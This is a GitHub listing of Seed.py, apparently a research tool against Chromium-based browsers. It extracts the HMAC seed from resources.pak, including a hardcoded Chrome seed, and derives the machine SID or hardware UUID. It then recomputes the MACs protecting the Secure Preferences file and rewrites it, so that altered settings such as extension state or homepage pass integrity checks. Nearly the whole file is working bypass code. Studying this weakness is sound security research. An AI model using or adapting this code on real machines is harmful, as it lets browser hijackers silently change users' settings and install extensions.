-
Notifications
You must be signed in to change notification settings - Fork 10
/
Seed.py
290 lines (251 loc) · 13.2 KB
/
Seed.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
import struct, getpass, os, json, sys
sys.path.append(os.path.join(os.path.dirname(__file__), '.'))
import subprocess
from sys import platform
from colorama import Fore
from collections import OrderedDict
from utils import calculateHMAC, change_spf
import re
class Browser(object):
def __init__(self, user, browser="Chrome"):
options = {}
if platform == "linux" or platform == "linux2":
# linux
options['Edge'] = {'resources_path': '',
'spf_path': '',
'expected_seed': b''}
options['Chrome'] = {'resources_path': '/opt/google/chrome',
'spf_path': '/home/{}/.config/google-chrome/Default/Preferences'.format(user),
'expected_seed': b''}
options['Brave'] = {
'resources_path': '',
'spf_path': '',
'expected_seed': b''}
options['Opera'] = {
'resources_path': '',
'spf_path': '',
'expected_seed': b''}
elif platform == "darwin":
# OS X
options['Chromium'] = {'resources_path': '/Users/{}/Downloads/chrome-mac/Chromium.app/Contents'.format(user),
'spf_path': '/Users/{}/Library/Application Support/Chromium/Default/Secure Preferences'.format(
user),
'expected_seed': b''}
options['Edge'] = {'resources_path': '/Applications/Microsoft Edge.app/Contents/',
'spf_path': '/Users/{}/Library/Application Support/Microsoft Edge/Default/Secure Preferences'.format(user),
'expected_seed': b''}
options['Opera'] = {'resources_path': '/Applications/Opera.app/Contents/',
'spf_path': '/Users/{}/Library/Application Support/com.operasoftware.Opera/Secure Preferences'.format(
user),
'expected_seed': b''}
options['Chrome'] = {'resources_path': '/Applications/Google Chrome.app/Contents/',
'spf_path': '/Users/{}/Library/Application Support/Google/Chrome/Default/Secure Preferences'.format(user),
'expected_seed': b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8'}
options['Brave'] = {
'resources_path': '/Applications/Brave Browser.app/Contents/',
'spf_path': '/Users/{}/Library/Application Support/BraveSoftware/Brave-Browser/Default/Secure Preferences'.format(user),
'expected_seed': b''}
elif platform == "win32":
architectures = [" (x86)", ""]
options['Edge'] = {'resources_path': 'C:\\Program Files{}\\Microsoft\\Edge\\Application',
'spf_path': 'C:\\Users\\' + user + '\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Secure Preferences',
'expected_seed':b''}
options['Chrome'] = {'resources_path':'C:\\Program Files{}\\Google\\Chrome\\Application',
'spf_path':'C:\\Users\\'+user+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Secure Preferences',
'expected_seed': b'\xe7H\xf36\xd8^\xa5\xf9\xdc\xdf%\xd8\xf3G\xa6[L\xdffv\x00\xf0-\xf6rJ*\xf1\x8a!-&\xb7\x88\xa2P\x86\x91\x0c\xf3\xa9\x03\x13ihq\xf3\xdc\x05\x8270\xc9\x1d\xf8\xba\\O\xd9\xc8\x84\xb5\x05\xa8'}
options['Brave'] = {'resources_path': 'C:\\Program Files{}\\BraveSoftware\\Brave-Browser\\Application',
'spf_path': 'C:\\Users\\' + user + '\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Secure Preferences',
'expected_seed':b''}
options['Chromium'] = {'resources_path': 'C:\\Users\\' + user + '\\AppData\\Local\\Chromium\\Application',
'spf_path': 'C:\\Users\\' + user + '\\AppData\\Local\\Chromium\\User Data\\Default\\Secure Preferences',
'expected_seed': b''}
options['Opera'] = {'resources_path': 'C:\\Users\\' + user + '\\AppData\\Local\\Programs\\Opera',
'spf_path': 'C:\\Users\\' + user + '\\AppData\\Roaming\\Opera Software\\Opera Stable\\Secure Preferences',
'expected_seed': b''}
for browser in ['Edge', 'Chrome', 'Brave']:
for architecture in architectures:
if os.path.isdir(options[browser]['resources_path'].format(architecture)):
options[browser]['resources_path'] = options[browser]['resources_path'].format(architecture)
if browser in options.keys():
self.options = options[browser]
else:
# If we want to check resources.pak from a fixed path
self.options = {'spf_path':browser}
def get_spf(self):
return self.options['spf_path']
def get_resources_path(self):
return self.options['resources_path']
def get_expected_seed(self):
return self.options['expected_seed']
class Seed():
def __init__(self, browser):
self.user = getpass.getuser()
self.browser = Browser(self.user, browser)
self.expected_seed = self.browser.get_expected_seed()
self.resources = self.find_resources(self.browser.get_resources_path())
if self.resources:
try:
self.browser_version = self.resources.split('Versions/')[1].split(os.sep)[0]
except:
self.browser_version = ""
else:
print('{} Path NOT found!{}'.format(Fore.RED, Fore.RESET))
sys.exit()
def find_resources(self, resources_path):
found = False
filename = False
for dirpath, dirnames, filenames in os.walk(resources_path):
for filename in filenames:
if filename in ["resources.pak", "opera.pak"]:
filename = os.path.join(dirpath, filename)
found = True
break
if (found):
break
if (not found):
# TODO:Look for that file in another path
pass
return filename
def get_seed(self):
seed = ''
with open(self.resources, 'rb') as f:
data = f.read()
# Gets the version, encoding, number of resources and alias count of the resources.pak file
encoding, resource_count, alias_count = struct.unpack('<BxxxHH', data[4:12])
header_size = 12
resourceSize = 2 + 4
# Helper function to unpack the resources
def entry_at_index(idx):
offset = header_size + idx * resourceSize
return struct.unpack('<HI', data[offset:offset + resourceSize])
# Finds the seed
outputs = []
prev_resource_id, prev_offset = entry_at_index(0)
for i in range(1, resource_count + 1):
resource_id, offset = entry_at_index(i)
if (offset - prev_offset == 64):
seed = data[prev_offset:offset]
# print(seed.decode("ISO-8859-1"))
# return seed
outputs.append(data[prev_offset:offset])
prev_resource_id, prev_offset = resource_id, offset
self.seed = seed
return outputs
def get_resources(self):
with open(self.resources, 'rb') as f:
data = f.read()
# Gets the version, encoding, number of resources and alias count of the resources.pak file
encoding, resource_count, alias_count = struct.unpack('<BxxxHH', data[4:12])
header_size = 12
resourceSize = 2 + 4
# Helper function to unpack the resources
def entry_at_index(idx):
offset = header_size + idx * resourceSize
return struct.unpack('<HI', data[offset:offset + resourceSize])
# Finds the seed
outputs = []
prev_resource_id, prev_offset = entry_at_index(0)
for i in range(1, resource_count + 1):
resource_id, offset = entry_at_index(i)
outputs.append(data[prev_offset:offset])
prev_resource_id, prev_offset = resource_id, offset
return outputs
def __HMAChelper(self, macs, value, path, arg, sid, seed, extension=False):
if isinstance(value, OrderedDict):
if (arg[0] in value):
if arg[0] in macs:
path += arg[0] + "."
macs = self.__HMAChelper(macs[arg[0]], value[arg[0]], path, arg[1:], sid, seed)
else:
if not extension:
macs = self.__HMAChelper(macs, value[arg[0]], path, arg[1:], sid, seed, extension=value)
else:
macs = self.__HMAChelper(macs, value[arg[0]], path, arg[1:], sid, seed, extension)
return macs
else:
if len(arg) > 2:
self.__HMAChelper(macs, value[arg[0]], path, arg[1:], sid, seed)
elif len(arg) == 2:
if arg[0] in value:
path += arg[0] + "."
before = macs
macs = calculateHMAC(value[arg[0]], path[:-1], sid, seed)
else:
before = macs
macs = calculateHMAC(value, path[:-1], sid, seed)
if before == macs:
return seed
else:
return macs
# return macs
else:
before = macs
if extension:
value = extension
macs = calculateHMAC(value, path[:-1], sid, seed)
if before == macs:
return seed
else:
return macs
# return macs
def look_for_seed(self, resources):
try:
# # Windows
sid = subprocess.check_output(['wmic', 'useraccount', 'where', 'name=\'' + self.user + '\'', 'get', 'sid'],
universal_newlines=True)
sid = sid.replace('\n', '').replace('SID', '').replace(' ', '')[:-5]
except:
# Mac
try:
sid = subprocess.check_output(['system_profiler', 'SPHardwareDataType', '|', 'awk', '\'/UUID/ { print $3; }\''],
universal_newlines=True)
found = re.search('Hardware UUID: (.*)', sid) # .group(1)
sid = found.group(1)
except:
sid = subprocess.check_output(['blkid'], universal_newlines=True)
sid = sid.split("\n")
elem = sid[1]
found = re.findall(r' UUID=\"(.+?)\"', elem) # .group(1)
if found:
sid = found[0]
with open(self.browser.get_spf(), encoding="utf-8") as json_data:
data = json.load(json_data, object_pairs_hook=OrderedDict)
temp = OrderedDict(sorted(data.items()))
data = temp
to_change = ""
if 'browser' in temp.keys():
# Chrome and Brave
to_change += 'browser'
if 'show_home_button' in temp['browser'].keys():
to_change += '%show_home_button%{}'.format(temp['browser']['show_home_button'])
elif 'homepage_is_newtabpage' in temp.keys():
# Edge
to_change += 'homepage_is_newtabpage%{}'.format(temp['homepage_is_newtabpage'])
elif 'vpn' in temp.keys():
# Opera
to_change += 'vpn'
if 'last_established_location' in temp['vpn'].keys():
to_change += '%{}%{}'.format('last_established_location', temp['vpn']['last_established_location'])
if not to_change:
if 'extensions' in temp.keys():
to_change += 'extensions'
if 'settings' in temp['extensions'].keys():
to_change += '%settings'
extension = list(temp['extensions']['settings'].keys())[0]
if 'state' in temp['extensions']['settings'][extension].keys():
to_change += '%{}%state%{}'.format(extension,temp['extensions']['settings'][extension]['state'])
for resource in resources:
seed = self.__HMAChelper(data['protection']['macs'], data, "", to_change.split('%'), sid, resource)
if type(seed)==bytes:
break
if type(seed)!=bytes:
#Try blank: b''
# print("Trying empty resource...")
resource = b''
seed = self.__HMAChelper(data['protection']['macs'], data, "", to_change.split('%'), sid, resource)
if type(seed) != bytes:
return False
print('{}\t If we modify the SPF. Can we generate the same HMACs? '.format(Fore.GREEN))
change_spf(self.browser.get_spf(), to_change, sid, seed)
print('{}'.format(Fore.RESET))
return seed